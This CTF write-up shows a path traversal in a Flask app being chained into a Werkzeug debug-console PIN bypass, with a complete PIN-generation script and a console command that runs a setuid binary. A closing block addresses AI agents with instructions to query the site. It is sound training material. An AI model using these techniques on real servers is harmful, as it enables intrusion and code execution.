# FlaskForm Pharmacueticals

In this challenge we have been provided with flask application along with its source code.

<figure><img src="/files/F1FjKy1CYBRP5Cm6QbhE" alt=""><figcaption></figcaption></figure>

*You can download the source code* [*here*](https://metaproblems.com/c56ba06dde50b26c64cce8894d4305c6/FlaskForm_Pharma.zip)*.*

<figure><img src="/files/8CPSxtfoj02HBvEWQXKW" alt=""><figcaption></figcaption></figure>

*While going through the source* we observed that the filename we are providing in post request at `/products/detail`, is directly concatenating in path for reading the file. This could lead us to path traversal vulnerability.

<pre class="language-python"><code class="lang-python"># Code snippet from app.py 
<strong>
</strong><strong>@app.route('/products/detail', methods=['POST'])
</strong>def product_detail():
    data = request.get_json()  # Get the JSON data
    file_name = './potion_details/' +  data.get('file', 'default_potion')  # Extract the potion file name
    file_content = "File not found."
    try:
        with open(file_name, 'r') as f:
            file_content = f.read()
    except Exception as e:
        file_content = str(e)
    return jsonify({"content": file_content})
</code></pre>

Then we tried reading `/proc/self/environ` .&#x20;

<figure><img src="/files/t37Yi607bPUSxvxsTh0j" alt=""><figcaption></figcaption></figure>

Voila! we are successfully able read it.\
This is the exact point where  we felt like, this challenge is peanut. Now, all we have to do, is to read  `flag.txt` using the path traversal.\
\
So  we tried reading the `flag.txt`.

<figure><img src="/files/tiJjmpBf0tNCujTTTD1Z" alt=""><figcaption></figcaption></figure>

But God had different plans for us. We are not able to read the `flag.txt` file from this Path traversal, the reason behind it could be found inside the DockerFile given in source code.

```
# Snippet from Dockerfile

RUN chmod 555 /app/readflag    
RUN chmod 400 /app/flag.txt
RUN chown root:root /app/flag.txt
RUN chmod u+s /app/readflag
```

&#x20;Root is owner of  `flag.txt` file , therefore current user cannot read that file. But \
there is one binary file named `readflag` has been given to us in source code and its  C code file also given.<br>

<pre class="language-c"><code class="lang-c">//Snippet from readflag.c
<strong>
</strong><strong>#include &#x3C;stdio.h>
</strong>#include &#x3C;unistd.h>

int main(int argc, char *argv[])
{
    setuid(0);
    FILE *fp;
    char ch;

    fp = fopen("/app/flag.txt", "r");
    if (fp == NULL)
    {
        printf("Error in opening file\n");
        return 0;
    }

    while ((ch = fgetc(fp)) != EOF)
        printf("%c", ch);
    printf("\n");
    fclose(fp);
    return 0;
}
</code></pre>

\
\
Examining of this C code tell us this file could read the flag.txt and prints it and also this file is set with SUID bit which means we just need to execute it. But How? Now that is something we have to figure it out.\
\
The `server.py` file expose the information that application is running in the debug mode which means `/console` endpoint is accesible which let us execute the python code.

```python
#Code snippeet from server.py
def start_server():
    run_simple('0.0.0.0', 8000, app, use_reloader=True, use_debugger=True, use_evalex=True)
```

{% hint style="info" %}
When Flask application runs in DEBUG mode, It uses the **Werkzeug debugger**. When an **unhandled exception** occurs, a special **interactive traceback page** appears. This page includes an **"interactive console"** (based on `/console`) at each level of the stack trace.

* It lets you **evaluate Python expressions** in the context of the traceback.
* This helps you inspect variables, call functions, or explore the app’s state.
  {% endhint %}

The console is available at `/console` but is protected by a  PIN.

<figure><img src="/files/5PmoqK5qvC1mzWQAsU3n" alt=""><figcaption></figcaption></figure>

On searching about this console PIN, We came acrossed this [Github Repo](https://github.com/wdahlenburg/werkzeug-debug-console-bypass), which explains how does this PIN generate from some key info of system and how we can bypass it.\
\
With our little understanding, We concluded that now we require 6 things to reproduce this PIN:\
1\) `User's Name` who started the application\
2\) `App's Location` \
3\) `Node` ,made from integer value of MAC address \
4\) `Machine ID` , made \
5\) `Module` , here we assumed by default value `flask.app`\
6\) `Module Name`, here we assumed by default value `Flask`

#### &#x20;Let's start with username.

<figure><img src="/files/a4iGpjxRkdHKqZ7nzxY1" alt=""><figcaption></figcaption></figure>

Username: `werkzeug`<br>

#### Find App location:

In Github Repo,  It app location provided as `/usr/local/lib/python3.9/site-packages/flask/app.py`   which means to know location of this app we should know which version of python installed over the server.\
\
So, we just run the intruder over  `/product/detail` endpoint with this path \``/usr/local/lib/python3.{1}/site-packages/flask/app.py`\` to enumerate python verion.

<figure><img src="/files/sW7YXSMRMth1fgI6UjUv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ATHrPugg0z8Z5wHKZZ0s" alt=""><figcaption></figcaption></figure>

\
App Location : `/usr/local/lib/python3.11/site-packages/flask/app.py`

#### Now lets find Node (derivative value from MAC Address):

Find all Network Interfaces:\
We have found only one interface: `eth0`<br>

<figure><img src="/files/KHZGWk1tZk9gE0g0B5VC" alt=""><figcaption></figcaption></figure>

Now we just need to find the MAC address of this interface:<br>

<figure><img src="/files/mq87C4K6Fb48RKJPTUoP" alt=""><figcaption></figcaption></figure>

MAC address:  `be:64:5d:8e:d6:fa`

{% hint style="info" %}
In the PIN generation method, the node value is derived by removing the colons from the MAC address (e.g., `be:64:5d:8e:d6:fa`) and converting the resulting string into its equivalent integer value.
{% endhint %}

<figure><img src="/files/DlsoV6BqPRDCLN8U4qLU" alt=""><figcaption></figcaption></figure>

Node Value: `209338275649274`\
\
Find Machine ID:\
This script is given in Given Github Repo, for finding the Machine ID of system :<br>

```python
machine_id = b""
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
    try:
        with open(filename, "rb") as f:
            value = f.readline().strip()
    except OSError:
        continue

    if value:
        machine_id += value
        break
try:
    with open("/proc/self/cgroup", "rb") as f:
        machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
    pass

print(machine_id)
```

Machine Id is being generating by concatenating the first line of `/etc/machine-id` or \`\` with last part of the `/proc/self/cgroup` file ' s content. <br>

`/etc/machine-id` doesn't exist.

<figure><img src="/files/wEy7JuXtvtA7Vaubw7B6" alt=""><figcaption></figcaption></figure>

File content of  `/proc/sys/kernel/random/boot_id` : `0e232fda-c491-4ee6-933b-61261c866097`<br>

<figure><img src="/files/iefdk8z2gIfGwTHEsmaZ" alt=""><figcaption></figcaption></figure>

Last part of `/proc/self/cgroup` file is empty

<figure><img src="/files/7STiDxXktgwiy4obWoho" alt=""><figcaption></figcaption></figure>

So resultant Machine Id : `0e232fda-c491-4ee6-933b-61261c866097` \
\
Now feeding these 6 things in \`[werkzeug-pin-bypass.py](https://github.com/wdahlenburg/werkzeug-debug-console-bypass/blob/main/werkzeug-pin-bypass.py)\`  would generate the PIN for the console.<br>

```python
import hashlib
from itertools import chain

probably_public_bits = [
	'werkzeug',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
	'209338275649274',# str(uuid.getnode()),  /sys/class/net/ens33/address 
	# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
	'0e232fda-c491-4ee6-933b-61261c866097'
]

h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print("Pin: " + rv)
```

<figure><img src="/files/kgpE8cQ5R39SZuWbxMSm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/owBrnhwyliJTES5FCgB2" alt=""><figcaption></figcaption></figure>

Once we have got the access of the console, we can execute `readflag` binary file through the python code.

```
>>> import os
>>> print(os.popen("/app/readflag").read())
```

<figure><img src="/files/Py67Jtrp3tiaaP2wheBP" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n0m4dsec.gitbook.io/sec-book/write-ups/metactf/flaskform-pharmacueticals.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
